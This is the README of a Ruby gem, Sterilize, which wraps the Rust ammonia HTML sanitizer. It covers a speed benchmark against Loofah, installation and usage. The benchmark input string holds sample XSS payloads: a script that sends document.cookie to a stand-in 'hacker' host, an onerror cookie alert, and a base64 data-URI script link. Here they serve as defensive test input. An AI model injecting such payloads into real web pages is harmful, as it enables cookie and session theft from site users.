Sterilize

Sterilize is a gem which uses the Rust library ammonia to provide text sanitization

Ammonia is a whitelist-based HTML sanitization library. It is designed to prevent cross-site scripting, layout breaking, and clickjacking caused by untrusted user-provided HTML being mixed into a larger web page.

Why not Loofah

Loofah is popular, but can be difficult to deal with in terms of configuration and usage. Sterilize aims to be essentially zero configuration and provides a very simple API (one method!). Give it a string and get back a sanitized version.

Take a look at the specs directory to see some of the cases that get handled. They are mostly provided for documentation purposes as the ammonia library is extensively tested

Finally, Sterilize is fast.

unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script><SCRIPT>var+img=new+Image();img.src='http://hacker/'%20+%20document.cookie;</SCRIPT><img src='http://url.to.file.which/not.exist' onerror=alert(document.cookie);><a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgna25pZ2h0c3RpY2sgd2FzIGhlcmUnKTwvc2NyaXB0Pg=='>HACK HACK HACK</a>" * 1000


Benchmark.bm do | benchmark |
  benchmark.report("Sterilize#perform") do
    50.times do
      Sterilize.perform(unsafe_string)
    end
  end
  benchmark.report("Loofah.scrub_fragment(unsafe_string, :prune).to_str") do
    50.times do
      Loofah.scrub_fragment(unsafe_string, :prune).to_str
    end
  end
end

As you can see, Sterilize can operate significatnly faster (somewhere in the ballpark of 9-10 times faster). As with all benchmarks though, your mileage may vary and it's important to see how things work in practice for you.

Library	user	system	total	real
Sterilize#perform	1.284460	0.006097	1.290557	( 1.295062)
Loofah.scrub_fragment(unsafe_string, :prune).to_str	10.183802	0.064826	10.248628	( 10.274430)

Installation

In order to use this library you will need to have access to Rust's build tooling cargo, this simplest way to get this is via rustup.

After ensuring you have these things available, add the gem to your bundle

gem 'sterilize'

And then execute:

$ bundle

Or install it yourself as:

$ gem install sterilize

sterilize includes a Rake take which will compile the Rust library for your platform and copy it to the correct location.

Usage

sterilize provides a single method, Sterilize.perform which accepts a string.

pry(main)> unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script>"
pry(main)> Sterilize.perform(unsafe_string)
=> "I am nice safe user input, nothing to see here.. "

Passing anything other than a String will result in an error.

Development

After checking out the repo, run bin/setup to install dependencies. Then, run rake spec to run the tests. You can also run bin/console for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run bundle exec rake install. To release a new version, update the version number in version.rb, and then run bundle exec rake release, which will create a git tag for the version, push git commits and tags, and push the .gem file to rubygems.org.

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/sterilize. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.

License

The gem is available as open source under the terms of the MIT License.